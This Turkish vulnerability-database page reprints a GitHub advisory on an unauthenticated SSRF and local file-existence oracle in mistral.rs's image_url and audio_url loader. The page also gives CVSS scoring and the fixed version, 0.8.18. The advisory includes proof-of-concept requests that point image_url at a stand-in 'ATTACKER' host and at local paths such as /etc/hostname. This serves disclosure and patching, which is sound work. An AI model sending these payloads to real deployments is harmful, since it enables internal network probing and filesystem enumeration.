İçeriğe atla
Noroxi
OSV ekosistem danışmanlığı

GHSA-wfgq-w7cq-qj7j: mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

YüksekCVSS 7.2 · v3.1—İstismar yok Düzeltme var

Noroxi değerlendirmesi

Öncelik: İzleyin (aksiyon skoru 28/100)

  • İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
  • İnternetten erişebilen herkes tetikleyebilir. Hesap ya da parola gerekmez. Kullanıcının bir şey yapması gerekmez. Özel bir koşul gerekmez; tekrarlanabilir.
  • Düzeltilmiş sürüm: mistralrs-server-core (crates.io) 0.8.18.

Şimdilik düşük öncelik. mistralrs-server-core (crates.io) 0.8.18 ya da daha yeni sürüme yükseltin.

Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz

Birincil kaynaklar: OSV

### Summary mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default. ### Details `parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it: ```rust let url = if let Ok(url) = url::Url::parse(url_unparsed) { url } else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute) url::Url::from_file_path(std::path::absolute(url_unparsed)?) ... } else { bail!(...) }; let bytes = if url.scheme() == "http" || url.scheme() == "https" { reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check } else if url.scheme() == "file" { File::open(path).await ... read // arbitrary local file read } else if url.scheme() == "data" { ... base64 ... }; ``` `reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`. The value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time. For reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither. ### Suggested fix Restrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size. ### Proof of concept On a default vision deployment, unauthenticated: SSRF - the server fetches the attacker URL during request processing: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} ``` An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed. Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors): existing file (opened and read, then fails to decode): ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/etc/hostname"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "The image format could not be determined" ``` nonexistent path: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/nonexistent"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..." ``` The difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim. ### Impact An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure. Availability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.

Güncelleme
10 Eyl 2026
EPSS
—

Rapor araçları

JSON

Aksiyon skoru

28

İzleyin

Şimdilik düşük öncelik.

CVSS
28 / 40 · 7.2 / 10
CISA KEV
0 / 30 · Listede değil
EPSS
0 / 30 · —

Bu kayıt değişirse haber alın

  • KEV'de değil: sahada sömürü kaydı yok
  • Herkese açık istismar kodu kaydı yok
  • Düzeltme yayımlandı

Bunlardan biri değişirse günlük e-posta özetinde haber veririz.

GHSA-wfgq-w7cq-qj7j kaydını takip edin

Ne zaman haber verilir

  • CISA KEV'e girdiğinde
  • istismar kodu ortaya çıktığında ya da silahlaştırıldığında
  • kayıt güncellendiğinde (düzeltme sürümü dahil)
  • EPSS bir haftada 20 puan arttığında

Günde bir e-posta özeti (06:00 UTC); webhook bağlarsanız KEV ve silahlaştırılmış istismar ücretli planda 10 dakikada bir, ücretsizde saat başı.

Ücretsiz hesapla ayrıca

  • CVE uyarıları: kullandığınız ürün ve sürümleri ekleyin, onları etkileyen yeni CVE'ler size gelsin
  • Site izleme: 1 site, kesintide anında e-posta
  • Alan adınızı ekleyin: alt alan adları ve ele geçirme riski her hafta taransın (1 alan adı)
  • Güvenlik araçlarında saatte 10, günde en çok 30 tarama (hesapsız günde 3), API anahtarı ve MCP
  • Taramalarınız tek panelde: bulgular, son taramada değişenler, alan adı ya da müşteri başına rapor (PDF, paylaşım bağlantısı)
Tüm ücretsiz araçlar

E-postayla kayıt olun · Hesabınız var mı? Giriş yapın

Ücretsiz hesap, kart istenmez. Takibi istediğiniz an bırakırsınız.

Sürümünüz etkileniyor mu? Kontrol edin

Noroxi analizi

Sizin ortamınızda ne anlama geliyor?

Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.

Bu ürünü kullanıyoruz, yardım isteyin

Etkilenen sistemler

Sürümünüz etkileniyor mu?

Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.

ÜreticiÜrün
crates.iomistralrs-server-core

Paket düzeyi etkilenme

OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.

EkosistemPaketEtkilenen aralıkDüzeltme
crates.iomistralrs-server-core0.8.18 öncesi0.8.18

Aynı birincil ürünün en yüksek skorlu diğer kayıtları.

  • GHSA-m3wp-48jr-vr4gmistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
    30İzleyin

Düzeltme

Hangi sürüme geçmeli

Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.

Ürün / paketDüzeltilmiş sürümKaynak
crates.io:mistralrs-server-core0.8.18Paket deposu (OSV)

İstismar durumu

Bilinen kamuya açık istismar yok

Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.

Araştırma bağlamı

Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.

Zaman çizelgesi

Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.

Yayın dışında tarihli olay yok.

Yama ve commit bağlantıları

Referanslardaki commit, PR ve diff adresleri. Patch-diff ve varyant avı için başlangıç noktası; istismar değil, düzeltmedir.

Bu kayıtta yok: EPSS geçmişi · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.

Teknik detay

Saldırı koşulları

  • İnternetten erişebilen herkes tetikleyebilir.
  • Hesap ya da parola gerekmez.
  • Kullanıcının bir şey yapması gerekmez.
  • Özel bir koşul gerekmez; tekrarlanabilir.

Başarılı olursa

Gizlilik
düşük · veriler okunabilir
Bütünlük
yok
Erişilebilirlik
düşük · hizmet durdurulabilir

Etki, zafiyetli bileşenin ötesine geçebilir (kapsam değişir).

Saldırı vektörü
Ağ
Karmaşıklık
Düşük
Gereken yetki
Yok
Kullanıcı etkileşimi
Gerekmez
Kapsam
Değişir
Gizlilik etkisi
Düşük
Bütünlük etkisi
Yok
Erişilebilirlik etkisi
Düşük

CVSS vektörü

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

osv

Referanslar

Tüm referansları göster (2 daha)

Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.

Tüm kayıtlar